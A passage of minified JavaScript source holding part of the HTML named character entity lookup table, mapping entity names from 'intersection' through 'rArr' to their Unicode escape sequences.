ntersection;\":\"\\u22c2\",\"intlarhk;\":\"\\u2a17\",\"intprod;\":\"\\u2a3c\",\"InvisibleComma;\":\"\\u2063\",\"InvisibleTimes;\":\"\\u2062\",\"IOcy;\":\"\\u0401\",\"iocy;\":\"\\u0451\",\"Iogon;\":\"\\u012e\",\"iogon;\":\"\\u012f\",\"Iopf;\":\"\\ud835\\udd40\",\"iopf;\":\"\\ud835\\udd5a\",\"Iota;\":\"\\u0399\",\"iota;\":\"\\u03b9\",\"iprod;\":\"\\u2a3c\",\"iquest;\":\"\\u00bf\",iquest:\"\\u00bf\",\"iscr;\":\"\\ud835\\udcbe\",\"Iscr;\":\"\\u2110\",\"isin;\":\"\\u2208\",\"isindot;\":\"\\u22f5\",\"isinE;\":\"\\u22f9\",\"isins;\":\"\\u22f4\",\"isinsv;\":\"\\u22f3\",\"isinv;\":\"\\u2208\",\"it;\":\"\\u2062\",\"Itilde;\":\"\\u0128\",\"itilde;\":\"\\u0129\",\"Iukcy;\":\"\\u0406\",\"iukcy;\":\"\\u0456\",\"Iuml;\":\"\\u00cf\",Iuml:\"\\u00cf\",\"iuml;\":\"\\u00ef\",iuml:\"\\u00ef\",\"Jcirc;\":\"\\u0134\",\"jcirc;\":\"\\u0135\",\"Jcy;\":\"\\u0419\",\"jcy;\":\"\\u0439\",\"Jfr;\":\"\\ud835\\udd0d\",\"jfr;\":\"\\ud835\\udd27\",\"jmath;\":\"\\u0237\",\"Jopf;\":\"\\ud835\\udd41\",\"jopf;\":\"\\ud835\\udd5b\",\"Jscr;\":\"\\ud835\\udca5\",\"jscr;\":\"\\ud835\\udcbf\",\"Jsercy;\":\"\\u0408\",\"jsercy;\":\"\\u0458\",\"Jukcy;\":\"\\u0404\",\"jukcy;\":\"\\u0454\",\"Kappa;\":\"\\u039a\",\"kappa;\":\"\\u03ba\",\"kappav;\":\"\\u03f0\",\"Kcedil;\":\"\\u0136\",\"kcedil;\":\"\\u0137\",\"Kcy;\":\"\\u041a\",\"kcy;\":\"\\u043a\",\"Kfr;\":\"\\ud835\\udd0e\",\"kfr;\":\"\\ud835\\udd28\",\"kgreen;\":\"\\u0138\",\"KHcy;\":\"\\u0425\",\"khcy;\":\"\\u0445\",\"KJcy;\":\"\\u040c\",\"kjcy;\":\"\\u045c\",\"Kopf;\":\"\\ud835\\udd42\",\"kopf;\":\"\\ud835\\udd5c\",\"Kscr;\":\"\\ud835\\udca6\",\"kscr;\":\"\\ud835\\udcc0\",\"lAarr;\":\"\\u21da\",\"Lacute;\":\"\\u0139\",\"lacute;\":\"\\u013a\",\"laemptyv;\":\"\\u29b4\",\"lagran;\":\"\\u2112\",\"Lambda;\":\"\\u039b\",\"lambda;\":\"\\u03bb\",\"lang;\":\"\\u27e8\",\"Lang;\":\"\\u27ea\",\"langd;\":\"\\u2991\",\"langle;\":\"\\u27e8\",\"lap;\":\"\\u2a85\",\"Laplacetrf;\":\"\\u2112\",\"laquo;\":\"\\u00ab\",laquo:\"\\u00ab\",\"larrb;\":\"\\u21e4\",\"larrbfs;\":\"\\u291f\",\"larr;\":\"\\u2190\",\"Larr;\":\"\\u219e\",\"lArr;\":\"\\u21d0\",\"larrfs;\":\"\\u291d\",\"larrhk;\":\"\\u21a9\",\"larrlp;\":\"\\u21ab\",\"larrpl;\":\"\\u2939\",\"larrsim;\":\"\\u2973\",\"larrtl;\":\"\\u21a2\",\"latail;\":\"\\u2919\",\"lAtail;\":\"\\u291b\",\"lat;\":\"\\u2aab\",\"late;\":\"\\u2aad\",\"lates;\":\"\\u2aad\\ufe00\",\"lbarr;\":\"\\u290c\",\"lBarr;\":\"\\u290e\",\"lbbrk;\":\"\\u2772\",\"lbrace;\":\"{\",\"lbrack;\":\"[\",\"lbrke;\":\"\\u298b\",\"lbrksld;\":\"\\u298f\",\"lbrkslu;\":\"\\u298d\",\"Lcaron;\":\"\\u013d\",\"lcaron;\":\"\\u013e\",\"Lcedil;\":\"\\u013b\",\"lcedil;\":\"\\u013c\",\"lceil;\":\"\\u2308\",\"lcub;\":\"{\",\"Lcy;\":\"\\u041b\",\"lcy;\":\"\\u043b\",\"ldca;\":\"\\u2936\",\"ldquo;\":\"\\u201c\",\"ldquor;\":\"\\u201e\",\"ldrdhar;\":\"\\u2967\",\"ldrushar;\":\"\\u294b\",\"ldsh;\":\"\\u21b2\",\"le;\":\"\\u2264\",\"lE;\":\"\\u2266\",\"LeftAngleBracket;\":\"\\u27e8\",\"LeftArrowBar;\":\"\\u21e4\",\"leftarrow;\":\"\\u2190\",\"LeftArrow;\":\"\\u2190\",\"Leftarrow;\":\"\\u21d0\",\"LeftArrowRightArrow;\":\"\\u21c6\",\"leftarrowtail;\":\"\\u21a2\",\"LeftCeiling;\":\"\\u2308\",\"LeftDoubleBracket;\":\"\\u27e6\",\"LeftDownTeeVector;\":\"\\u2961\",\"LeftDownVectorBar;\":\"\\u2959\",\"LeftDownVector;\":\"\\u21c3\",\"LeftFloor;\":\"\\u230a\",\"leftharpoondown;\":\"\\u21bd\",\"leftharpoonup;\":\"\\u21bc\",\"leftleftarrows;\":\"\\u21c7\",\"leftrightarrow;\":\"\\u2194\",\"LeftRightArrow;\":\"\\u2194\",\"Leftrightarrow;\":\"\\u21d4\",\"leftrightarrows;\":\"\\u21c6\",\"leftrightharpoons;\":\"\\u21cb\",\"leftrightsquigarrow;\":\"\\u21ad\",\"LeftRightVector;\":\"\\u294e\",\"LeftTeeArrow;\":\"\\u21a4\",\"LeftTee;\":\"\\u22a3\",\"LeftTeeVector;\":\"\\u295a\",\"leftthreetimes;\":\"\\u22cb\",\"LeftTriangleBar;\":\"\\u29cf\",\"LeftTriangle;\":\"\\u22b2\",\"LeftTriangleEqual;\":\"\\u22b4\",\"LeftUpDownVector;\":\"\\u2951\",\"LeftUpTeeVector;\":\"\\u2960\",\"LeftUpVectorBar;\":\"\\u2958\",\"LeftUpVector;\":\"\\u21bf\",\"LeftVectorBar;\":\"\\u2952\",\"LeftVector;\":\"\\u21bc\",\"lEg;\":\"\\u2a8b\",\"leg;\":\"\\u22da\",\"leq;\":\"\\u2264\",\"leqq;\":\"\\u2266\",\"leqslant;\":\"\\u2a7d\",\"lescc;\":\"\\u2aa8\",\"les;\":\"\\u2a7d\",\"lesdot;\":\"\\u2a7f\",\"lesdoto;\":\"\\u2a81\",\"lesdotor;\":\"\\u2a83\",\"lesg;\":\"\\u22da\\ufe00\",\"lesges;\":\"\\u2a93\",\"lessapprox;\":\"\\u2a85\",\"lessdot;\":\"\\u22d6\",\"lesseqgtr;\":\"\\u22da\",\"lesseqqgtr;\":\"\\u2a8b\",\"LessEqualGreater;\":\"\\u22da\",\"LessFullEqual;\":\"\\u2266\",\"LessGreater;\":\"\\u2276\",\"lessgtr;\":\"\\u2276\",\"LessLess;\":\"\\u2aa1\",\"lesssim;\":\"\\u2272\",\"LessSlantEqual;\":\"\\u2a7d\",\"LessTilde;\":\"\\u2272\",\"lfisht;\":\"\\u297c\",\"lfloor;\":\"\\u230a\",\"Lfr;\":\"\\ud835\\udd0f\",\"lfr;\":\"\\ud835\\udd29\",\"lg;\":\"\\u2276\",\"lgE;\":\"\\u2a91\",\"lHar;\":\"\\u2962\",\"lhard;\":\"\\u21bd\",\"lharu;\":\"\\u21bc\",\"lharul;\":\"\\u296a\",\"lhblk;\":\"\\u2584\",\"LJcy;\":\"\\u0409\",\"ljcy;\":\"\\u0459\",\"llarr;\":\"\\u21c7\",\"ll;\":\"\\u226a\",\"Ll;\":\"\\u22d8\",\"llcorner;\":\"\\u231e\",\"Lleftarrow;\":\"\\u21da\",\"llhard;\":\"\\u296b\",\"lltri;\":\"\\u25fa\",\"Lmidot;\":\"\\u013f\",\"lmidot;\":\"\\u0140\",\"lmoustache;\":\"\\u23b0\",\"lmoust;\":\"\\u23b0\",\"lnap;\":\"\\u2a89\",\"lnapprox;\":\"\\u2a89\",\"lne;\":\"\\u2a87\",\"lnE;\":\"\\u2268\",\"lneq;\":\"\\u2a87\",\"lneqq;\":\"\\u2268\",\"lnsim;\":\"\\u22e6\",\"loang;\":\"\\u27ec\",\"loarr;\":\"\\u21fd\",\"lobrk;\":\"\\u27e6\",\"longleftarrow;\":\"\\u27f5\",\"LongLeftArrow;\":\"\\u27f5\",\"Longleftarrow;\":\"\\u27f8\",\"longleftrightarrow;\":\"\\u27f7\",\"LongLeftRightArrow;\":\"\\u27f7\",\"Longleftrightarrow;\":\"\\u27fa\",\"longmapsto;\":\"\\u27fc\",\"longrightarrow;\":\"\\u27f6\",\"LongRightArrow;\":\"\\u27f6\",\"Longrightarrow;\":\"\\u27f9\",\"looparrowleft;\":\"\\u21ab\",\"looparrowright;\":\"\\u21ac\",\"lopar;\":\"\\u2985\",\"Lopf;\":\"\\ud835\\udd43\",\"lopf;\":\"\\ud835\\udd5d\",\"loplus;\":\"\\u2a2d\",\"lotimes;\":\"\\u2a34\",\"lowast;\":\"\\u2217\",\"lowbar;\":\"_\",\"LowerLeftArrow;\":\"\\u2199\",\"LowerRightArrow;\":\"\\u2198\",\"loz;\":\"\\u25ca\",\"lozenge;\":\"\\u25ca\",\"lozf;\":\"\\u29eb\",\"lpar;\":\"(\",\"lparlt;\":\"\\u2993\",\"lrarr;\":\"\\u21c6\",\"lrcorner;\":\"\\u231f\",\"lrhar;\":\"\\u21cb\",\"lrhard;\":\"\\u296d\",\"lrm;\":\"\\u200e\",\"lrtri;\":\"\\u22bf\",\"lsaquo;\":\"\\u2039\",\"lscr;\":\"\\ud835\\udcc1\",\"Lscr;\":\"\\u2112\",\"lsh;\":\"\\u21b0\",\"Lsh;\":\"\\u21b0\",\"lsim;\":\"\\u2272\",\"lsime;\":\"\\u2a8d\",\"lsimg;\":\"\\u2a8f\",\"lsqb;\":\"[\",\"lsquo;\":\"\\u2018\",\"lsquor;\":\"\\u201a\",\"Lstrok;\":\"\\u0141\",\"lstrok;\":\"\\u0142\",\"ltcc;\":\"\\u2aa6\",\"ltcir;\":\"\\u2a79\",\"lt;\":\"<\",lt:\"<\",\"LT;\":\"<\",LT:\"<\",\"Lt;\":\"\\u226a\",\"ltdot;\":\"\\u22d6\",\"lthree;\":\"\\u22cb\",\"ltimes;\":\"\\u22c9\",\"ltlarr;\":\"\\u2976\",\"ltquest;\":\"\\u2a7b\",\"ltri;\":\"\\u25c3\",\"ltrie;\":\"\\u22b4\",\"ltrif;\":\"\\u25c2\",\"ltrPar;\":\"\\u2996\",\"lurdshar;\":\"\\u294a\",\"luruhar;\":\"\\u2966\",\"lvertneqq;\":\"\\u2268\\ufe00\",\"lvnE;\":\"\\u2268\\ufe00\",\"macr;\":\"\\u00af\",macr:\"\\u00af\",\"male;\":\"\\u2642\",\"malt;\":\"\\u2720\",\"maltese;\":\"\\u2720\",\"Map;\":\"\\u2905\",\"map;\":\"\\u21a6\",\"mapsto;\":\"\\u21a6\",\"mapstodown;\":\"\\u21a7\",\"mapstoleft;\":\"\\u21a4\",\"mapstoup;\":\"\\u21a5\",\"marker;\":\"\\u25ae\",\"mcomma;\":\"\\u2a29\",\"Mcy;\":\"\\u041c\",\"mcy;\":\"\\u043c\",\"mdash;\":\"\\u2014\",\"mDDot;\":\"\\u223a\",\"measuredangle;\":\"\\u2221\",\"MediumSpace;\":\"\\u205f\",\"Mellintrf;\":\"\\u2133\",\"Mfr;\":\"\\ud835\\udd10\",\"mfr;\":\"\\ud835\\udd2a\",\"mho;\":\"\\u2127\",\"micro;\":\"\\u00b5\",micro:\"\\u00b5\",\"midast;\":\"*\",\"midcir;\":\"\\u2af0\",\"mid;\":\"\\u2223\",\"middot;\":\"\\u00b7\",middot:\"\\u00b7\",\"minusb;\":\"\\u229f\",\"minus;\":\"\\u2212\",\"minusd;\":\"\\u2238\",\"minusdu;\":\"\\u2a2a\",\"MinusPlus;\":\"\\u2213\",\"mlcp;\":\"\\u2adb\",\"mldr;\":\"\\u2026\",\"mnplus;\":\"\\u2213\",\"models;\":\"\\u22a7\",\"Mopf;\":\"\\ud835\\udd44\",\"mopf;\":\"\\ud835\\udd5e\",\"mp;\":\"\\u2213\",\"mscr;\":\"\\ud835\\udcc2\",\"Mscr;\":\"\\u2133\",\"mstpos;\":\"\\u223e\",\"Mu;\":\"\\u039c\",\"mu;\":\"\\u03bc\",\"multimap;\":\"\\u22b8\",\"mumap;\":\"\\u22b8\",\"nabla;\":\"\\u2207\",\"Nacute;\":\"\\u0143\",\"nacute;\":\"\\u0144\",\"nang;\":\"\\u2220\\u20d2\",\"nap;\":\"\\u2249\",\"napE;\":\"\\u2a70\\u0338\",\"napid;\":\"\\u224b\\u0338\",\"napos;\":\"\\u0149\",\"napprox;\":\"\\u2249\",\"natural;\":\"\\u266e\",\"naturals;\":\"\\u2115\",\"natur;\":\"\\u266e\",\"nbsp;\":\"\\u00a0\",nbsp:\"\\u00a0\",\"nbump;\":\"\\u224e\\u0338\",\"nbumpe;\":\"\\u224f\\u0338\",\"ncap;\":\"\\u2a43\",\"Ncaron;\":\"\\u0147\",\"ncaron;\":\"\\u0148\",\"Ncedil;\":\"\\u0145\",\"ncedil;\":\"\\u0146\",\"ncong;\":\"\\u2247\",\"ncongdot;\":\"\\u2a6d\\u0338\",\"ncup;\":\"\\u2a42\",\"Ncy;\":\"\\u041d\",\"ncy;\":\"\\u043d\",\"ndash;\":\"\\u2013\",\"nearhk;\":\"\\u2924\",\"nearr;\":\"\\u2197\",\"neArr;\":\"\\u21d7\",\"nearrow;\":\"\\u2197\",\"ne;\":\"\\u2260\",\"nedot;\":\"\\u2250\\u0338\",\"NegativeMediumSpace;\":\"\\u200b\",\"NegativeThickSpace;\":\"\\u200b\",\"NegativeThinSpace;\":\"\\u200b\",\"NegativeVeryThinSpace;\":\"\\u200b\",\"nequiv;\":\"\\u2262\",\"nesear;\":\"\\u2928\",\"nesim;\":\"\\u2242\\u0338\",\"NestedGreaterGreater;\":\"\\u226b\",\"NestedLessLess;\":\"\\u226a\",\"NewLine;\":\"\\n\",\"nexist;\":\"\\u2204\",\"nexists;\":\"\\u2204\",\"Nfr;\":\"\\ud835\\udd11\",\"nfr;\":\"\\ud835\\udd2b\",\"ngE;\":\"\\u2267\\u0338\",\"nge;\":\"\\u2271\",\"ngeq;\":\"\\u2271\",\"ngeqq;\":\"\\u2267\\u0338\",\"ngeqslant;\":\"\\u2a7e\\u0338\",\"nges;\":\"\\u2a7e\\u0338\",\"nGg;\":\"\\u22d9\\u0338\",\"ngsim;\":\"\\u2275\",\"nGt;\":\"\\u226b\\u20d2\",\"ngt;\":\"\\u226f\",\"ngtr;\":\"\\u226f\",\"nGtv;\":\"\\u226b\\u0338\",\"nharr;\":\"\\u21ae\",\"nhArr;\":\"\\u21ce\",\"nhpar;\":\"\\u2af2\",\"ni;\":\"\\u220b\",\"nis;\":\"\\u22fc\",\"nisd;\":\"\\u22fa\",\"niv;\":\"\\u220b\",\"NJcy;\":\"\\u040a\",\"njcy;\":\"\\u045a\",\"nlarr;\":\"\\u219a\",\"nlArr;\":\"\\u21cd\",\"nldr;\":\"\\u2025\",\"nlE;\":\"\\u2266\\u0338\",\"nle;\":\"\\u2270\",\"nleftarrow;\":\"\\u219a\",\"nLeftarrow;\":\"\\u21cd\",\"nleftrightarrow;\":\"\\u21ae\",\"nLeftrightarrow;\":\"\\u21ce\",\"nleq;\":\"\\u2270\",\"nleqq;\":\"\\u2266\\u0338\",\"nleqslant;\":\"\\u2a7d\\u0338\",\"nles;\":\"\\u2a7d\\u0338\",\"nless;\":\"\\u226e\",\"nLl;\":\"\\u22d8\\u0338\",\"nlsim;\":\"\\u2274\",\"nLt;\":\"\\u226a\\u20d2\",\"nlt;\":\"\\u226e\",\"nltri;\":\"\\u22ea\",\"nltrie;\":\"\\u22ec\",\"nLtv;\":\"\\u226a\\u0338\",\"nmid;\":\"\\u2224\",\"NoBreak;\":\"\\u2060\",\"NonBreakingSpace;\":\"\\u00a0\",\"nopf;\":\"\\ud835\\udd5f\",\"Nopf;\":\"\\u2115\",\"Not;\":\"\\u2aec\",\"not;\":\"\\u00ac\",not:\"\\u00ac\",\"NotCongruent;\":\"\\u2262\",\"NotCupCap;\":\"\\u226d\",\"NotDoubleVerticalBar;\":\"\\u2226\",\"NotElement;\":\"\\u2209\",\"NotEqual;\":\"\\u2260\",\"NotEqualTilde;\":\"\\u2242\\u0338\",\"NotExists;\":\"\\u2204\",\"NotGreater;\":\"\\u226f\",\"NotGreaterEqual;\":\"\\u2271\",\"NotGreaterFullEqual;\":\"\\u2267\\u0338\",\"NotGreaterGreater;\":\"\\u226b\\u0338\",\"NotGreaterLess;\":\"\\u2279\",\"NotGreaterSlantEqual;\":\"\\u2a7e\\u0338\",\"NotGreaterTilde;\":\"\\u2275\",\"NotHumpDownHump;\":\"\\u224e\\u0338\",\"NotHumpEqual;\":\"\\u224f\\u0338\",\"notin;\":\"\\u2209\",\"notindot;\":\"\\u22f5\\u0338\",\"notinE;\":\"\\u22f9\\u0338\",\"notinva;\":\"\\u2209\",\"notinvb;\":\"\\u22f7\",\"notinvc;\":\"\\u22f6\",\"NotLeftTriangleBar;\":\"\\u29cf\\u0338\",\"NotLeftTriangle;\":\"\\u22ea\",\"NotLeftTriangleEqual;\":\"\\u22ec\",\"NotLess;\":\"\\u226e\",\"NotLessEqual;\":\"\\u2270\",\"NotLessGreater;\":\"\\u2278\",\"NotLessLess;\":\"\\u226a\\u0338\",\"NotLessSlantEqual;\":\"\\u2a7d\\u0338\",\"NotLessTilde;\":\"\\u2274\",\"NotNestedGreaterGreater;\":\"\\u2aa2\\u0338\",\"NotNestedLessLess;\":\"\\u2aa1\\u0338\",\"notni;\":\"\\u220c\",\"notniva;\":\"\\u220c\",\"notnivb;\":\"\\u22fe\",\"notnivc;\":\"\\u22fd\",\"NotPrecedes;\":\"\\u2280\",\"NotPrecedesEqual;\":\"\\u2aaf\\u0338\",\"NotPrecedesSlantEqual;\":\"\\u22e0\",\"NotReverseElement;\":\"\\u220c\",\"NotRightTriangleBar;\":\"\\u29d0\\u0338\",\"NotRightTriangle;\":\"\\u22eb\",\"NotRightTriangleEqual;\":\"\\u22ed\",\"NotSquareSubset;\":\"\\u228f\\u0338\",\"NotSquareSubsetEqual;\":\"\\u22e2\",\"NotSquareSuperset;\":\"\\u2290\\u0338\",\"NotSquareSupersetEqual;\":\"\\u22e3\",\"NotSubset;\":\"\\u2282\\u20d2\",\"NotSubsetEqual;\":\"\\u2288\",\"NotSucceeds;\":\"\\u2281\",\"NotSucceedsEqual;\":\"\\u2ab0\\u0338\",\"NotSucceedsSlantEqual;\":\"\\u22e1\",\"NotSucceedsTilde;\":\"\\u227f\\u0338\",\"NotSuperset;\":\"\\u2283\\u20d2\",\"NotSupersetEqual;\":\"\\u2289\",\"NotTilde;\":\"\\u2241\",\"NotTildeEqual;\":\"\\u2244\",\"NotTildeFullEqual;\":\"\\u2247\",\"NotTildeTilde;\":\"\\u2249\",\"NotVerticalBar;\":\"\\u2224\",\"nparallel;\":\"\\u2226\",\"npar;\":\"\\u2226\",\"nparsl;\":\"\\u2afd\\u20e5\",\"npart;\":\"\\u2202\\u0338\",\"npolint;\":\"\\u2a14\",\"npr;\":\"\\u2280\",\"nprcue;\":\"\\u22e0\",\"nprec;\":\"\\u2280\",\"npreceq;\":\"\\u2aaf\\u0338\",\"npre;\":\"\\u2aaf\\u0338\",\"nrarrc;\":\"\\u2933\\u0338\",\"nrarr;\":\"\\u219b\",\"nrArr;\":\"\\u21cf\",\"nrarrw;\":\"\\u219d\\u0338\",\"nrightarrow;\":\"\\u219b\",\"nRightarrow;\":\"\\u21cf\",\"nrtri;\":\"\\u22eb\",\"nrtrie;\":\"\\u22ed\",\"nsc;\":\"\\u2281\",\"nsccue;\":\"\\u22e1\",\"nsce;\":\"\\u2ab0\\u0338\",\"Nscr;\":\"\\ud835\\udca9\",\"nscr;\":\"\\ud835\\udcc3\",\"nshortmid;\":\"\\u2224\",\"nshortparallel;\":\"\\u2226\",\"nsim;\":\"\\u2241\",\"nsime;\":\"\\u2244\",\"nsimeq;\":\"\\u2244\",\"nsmid;\":\"\\u2224\",\"nspar;\":\"\\u2226\",\"nsqsube;\":\"\\u22e2\",\"nsqsupe;\":\"\\u22e3\",\"nsub;\":\"\\u2284\",\"nsubE;\":\"\\u2ac5\\u0338\",\"nsube;\":\"\\u2288\",\"nsubset;\":\"\\u2282\\u20d2\",\"nsubseteq;\":\"\\u2288\",\"nsubseteqq;\":\"\\u2ac5\\u0338\",\"nsucc;\":\"\\u2281\",\"nsucceq;\":\"\\u2ab0\\u0338\",\"nsup;\":\"\\u2285\",\"nsupE;\":\"\\u2ac6\\u0338\",\"nsupe;\":\"\\u2289\",\"nsupset;\":\"\\u2283\\u20d2\",\"nsupseteq;\":\"\\u2289\",\"nsupseteqq;\":\"\\u2ac6\\u0338\",\"ntgl;\":\"\\u2279\",\"Ntilde;\":\"\\u00d1\",Ntilde:\"\\u00d1\",\"ntilde;\":\"\\u00f1\",ntilde:\"\\u00f1\",\"ntlg;\":\"\\u2278\",\"ntriangleleft;\":\"\\u22ea\",\"ntrianglelefteq;\":\"\\u22ec\",\"ntriangleright;\":\"\\u22eb\",\"ntrianglerighteq;\":\"\\u22ed\",\"Nu;\":\"\\u039d\",\"nu;\":\"\\u03bd\",\"num;\":\"#\",\"numero;\":\"\\u2116\",\"numsp;\":\"\\u2007\",\"nvap;\":\"\\u224d\\u20d2\",\"nvdash;\":\"\\u22ac\",\"nvDash;\":\"\\u22ad\",\"nVdash;\":\"\\u22ae\",\"nVDash;\":\"\\u22af\",\"nvge;\":\"\\u2265\\u20d2\",\"nvgt;\":\">\\u20d2\",\"nvHarr;\":\"\\u2904\",\"nvinfin;\":\"\\u29de\",\"nvlArr;\":\"\\u2902\",\"nvle;\":\"\\u2264\\u20d2\",\"nvlt;\":\"<\\u20d2\",\"nvltrie;\":\"\\u22b4\\u20d2\",\"nvrArr;\":\"\\u2903\",\"nvrtrie;\":\"\\u22b5\\u20d2\",\"nvsim;\":\"\\u223c\\u20d2\",\"nwarhk;\":\"\\u2923\",\"nwarr;\":\"\\u2196\",\"nwArr;\":\"\\u21d6\",\"nwarrow;\":\"\\u2196\",\"nwnear;\":\"\\u2927\",\"Oacute;\":\"\\u00d3\",Oacute:\"\\u00d3\",\"oacute;\":\"\\u00f3\",oacute:\"\\u00f3\",\"oast;\":\"\\u229b\",\"Ocirc;\":\"\\u00d4\",Ocirc:\"\\u00d4\",\"ocirc;\":\"\\u00f4\",ocirc:\"\\u00f4\",\"ocir;\":\"\\u229a\",\"Ocy;\":\"\\u041e\",\"ocy;\":\"\\u043e\",\"odash;\":\"\\u229d\",\"Odblac;\":\"\\u0150\",\"odblac;\":\"\\u0151\",\"odiv;\":\"\\u2a38\",\"odot;\":\"\\u2299\",\"odsold;\":\"\\u29bc\",\"OElig;\":\"\\u0152\",\"oelig;\":\"\\u0153\",\"ofcir;\":\"\\u29bf\",\"Ofr;\":\"\\ud835\\udd12\",\"ofr;\":\"\\ud835\\udd2c\",\"ogon;\":\"\\u02db\",\"Ograve;\":\"\\u00d2\",Ograve:\"\\u00d2\",\"ograve;\":\"\\u00f2\",ograve:\"\\u00f2\",\"ogt;\":\"\\u29c1\",\"ohbar;\":\"\\u29b5\",\"ohm;\":\"\\u03a9\",\"oint;\":\"\\u222e\",\"olarr;\":\"\\u21ba\",\"olcir;\":\"\\u29be\",\"olcross;\":\"\\u29bb\",\"oline;\":\"\\u203e\",\"olt;\":\"\\u29c0\",\"Omacr;\":\"\\u014c\",\"omacr;\":\"\\u014d\",\"Omega;\":\"\\u03a9\",\"omega;\":\"\\u03c9\",\"Omicron;\":\"\\u039f\",\"omicron;\":\"\\u03bf\",\"omid;\":\"\\u29b6\",\"ominus;\":\"\\u2296\",\"Oopf;\":\"\\ud835\\udd46\",\"oopf;\":\"\\ud835\\udd60\",\"opar;\":\"\\u29b7\",\"OpenCurlyDoubleQuote;\":\"\\u201c\",\"OpenCurlyQuote;\":\"\\u2018\",\"operp;\":\"\\u29b9\",\"oplus;\":\"\\u2295\",\"orarr;\":\"\\u21bb\",\"Or;\":\"\\u2a54\",\"or;\":\"\\u2228\",\"ord;\":\"\\u2a5d\",\"order;\":\"\\u2134\",\"orderof;\":\"\\u2134\",\"ordf;\":\"\\u00aa\",ordf:\"\\u00aa\",\"ordm;\":\"\\u00ba\",ordm:\"\\u00ba\",\"origof;\":\"\\u22b6\",\"oror;\":\"\\u2a56\",\"orslope;\":\"\\u2a57\",\"orv;\":\"\\u2a5b\",\"oS;\":\"\\u24c8\",\"Oscr;\":\"\\ud835\\udcaa\",\"oscr;\":\"\\u2134\",\"Oslash;\":\"\\u00d8\",Oslash:\"\\u00d8\",\"oslash;\":\"\\u00f8\",oslash:\"\\u00f8\",\"osol;\":\"\\u2298\",\"Otilde;\":\"\\u00d5\",Otilde:\"\\u00d5\",\"otilde;\":\"\\u00f5\",otilde:\"\\u00f5\",\"otimesas;\":\"\\u2a36\",\"Otimes;\":\"\\u2a37\",\"otimes;\":\"\\u2297\",\"Ouml;\":\"\\u00d6\",Ouml:\"\\u00d6\",\"ouml;\":\"\\u00f6\",ouml:\"\\u00f6\",\"ovbar;\":\"\\u233d\",\"OverBar;\":\"\\u203e\",\"OverBrace;\":\"\\u23de\",\"OverBracket;\":\"\\u23b4\",\"OverParenthesis;\":\"\\u23dc\",\"para;\":\"\\u00b6\",para:\"\\u00b6\",\"parallel;\":\"\\u2225\",\"par;\":\"\\u2225\",\"parsim;\":\"\\u2af3\",\"parsl;\":\"\\u2afd\",\"part;\":\"\\u2202\",\"PartialD;\":\"\\u2202\",\"Pcy;\":\"\\u041f\",\"pcy;\":\"\\u043f\",\"percnt;\":\"%\",\"period;\":\".\",\"permil;\":\"\\u2030\",\"perp;\":\"\\u22a5\",\"pertenk;\":\"\\u2031\",\"Pfr;\":\"\\ud835\\udd13\",\"pfr;\":\"\\ud835\\udd2d\",\"Phi;\":\"\\u03a6\",\"phi;\":\"\\u03c6\",\"phiv;\":\"\\u03d5\",\"phmmat;\":\"\\u2133\",\"phone;\":\"\\u260e\",\"Pi;\":\"\\u03a0\",\"pi;\":\"\\u03c0\",\"pitchfork;\":\"\\u22d4\",\"piv;\":\"\\u03d6\",\"planck;\":\"\\u210f\",\"planckh;\":\"\\u210e\",\"plankv;\":\"\\u210f\",\"plusacir;\":\"\\u2a23\",\"plusb;\":\"\\u229e\",\"pluscir;\":\"\\u2a22\",\"plus;\":\"+\",\"plusdo;\":\"\\u2214\",\"plusdu;\":\"\\u2a25\",\"pluse;\":\"\\u2a72\",\"PlusMinus;\":\"\\u00b1\",\"plusmn;\":\"\\u00b1\",plusmn:\"\\u00b1\",\"plussim;\":\"\\u2a26\",\"plustwo;\":\"\\u2a27\",\"pm;\":\"\\u00b1\",\"Poincareplane;\":\"\\u210c\",\"pointint;\":\"\\u2a15\",\"popf;\":\"\\ud835\\udd61\",\"Popf;\":\"\\u2119\",\"pound;\":\"\\u00a3\",pound:\"\\u00a3\",\"prap;\":\"\\u2ab7\",\"Pr;\":\"\\u2abb\",\"pr;\":\"\\u227a\",\"prcue;\":\"\\u227c\",\"precapprox;\":\"\\u2ab7\",\"prec;\":\"\\u227a\",\"preccurlyeq;\":\"\\u227c\",\"Precedes;\":\"\\u227a\",\"PrecedesEqual;\":\"\\u2aaf\",\"PrecedesSlantEqual;\":\"\\u227c\",\"PrecedesTilde;\":\"\\u227e\",\"preceq;\":\"\\u2aaf\",\"precnapprox;\":\"\\u2ab9\",\"precneqq;\":\"\\u2ab5\",\"precnsim;\":\"\\u22e8\",\"pre;\":\"\\u2aaf\",\"prE;\":\"\\u2ab3\",\"precsim;\":\"\\u227e\",\"prime;\":\"\\u2032\",\"Prime;\":\"\\u2033\",\"primes;\":\"\\u2119\",\"prnap;\":\"\\u2ab9\",\"prnE;\":\"\\u2ab5\",\"prnsim;\":\"\\u22e8\",\"prod;\":\"\\u220f\",\"Product;\":\"\\u220f\",\"profalar;\":\"\\u232e\",\"profline;\":\"\\u2312\",\"profsurf;\":\"\\u2313\",\"prop;\":\"\\u221d\",\"Proportional;\":\"\\u221d\",\"Proportion;\":\"\\u2237\",\"propto;\":\"\\u221d\",\"prsim;\":\"\\u227e\",\"prurel;\":\"\\u22b0\",\"Pscr;\":\"\\ud835\\udcab\",\"pscr;\":\"\\ud835\\udcc5\",\"Psi;\":\"\\u03a8\",\"psi;\":\"\\u03c8\",\"puncsp;\":\"\\u2008\",\"Qfr;\":\"\\ud835\\udd14\",\"qfr;\":\"\\ud835\\udd2e\",\"qint;\":\"\\u2a0c\",\"qopf;\":\"\\ud835\\udd62\",\"Qopf;\":\"\\u211a\",\"qprime;\":\"\\u2057\",\"Qscr;\":\"\\ud835\\udcac\",\"qscr;\":\"\\ud835\\udcc6\",\"quaternions;\":\"\\u210d\",\"quatint;\":\"\\u2a16\",\"quest;\":\"?\",\"questeq;\":\"\\u225f\",\"quot;\":'\"',quot:'\"',\"QUOT;\":'\"',QUOT:'\"',\"rAarr;\":\"\\u21db\",\"race;\":\"\\u223d\\u0331\",\"Racute;\":\"\\u0154\",\"racute;\":\"\\u0155\",\"radic;\":\"\\u221a\",\"raemptyv;\":\"\\u29b3\",\"rang;\":\"\\u27e9\",\"Rang;\":\"\\u27eb\",\"rangd;\":\"\\u2992\",\"range;\":\"\\u29a5\",\"rangle;\":\"\\u27e9\",\"raquo;\":\"\\u00bb\",raquo:\"\\u00bb\",\"rarrap;\":\"\\u2975\",\"rarrb;\":\"\\u21e5\",\"rarrbfs;\":\"\\u2920\",\"rarrc;\":\"\\u2933\",\"rarr;\":\"\\u2192\",\"Rarr;\":\"\\u21a0\",\"rArr;\":\"\\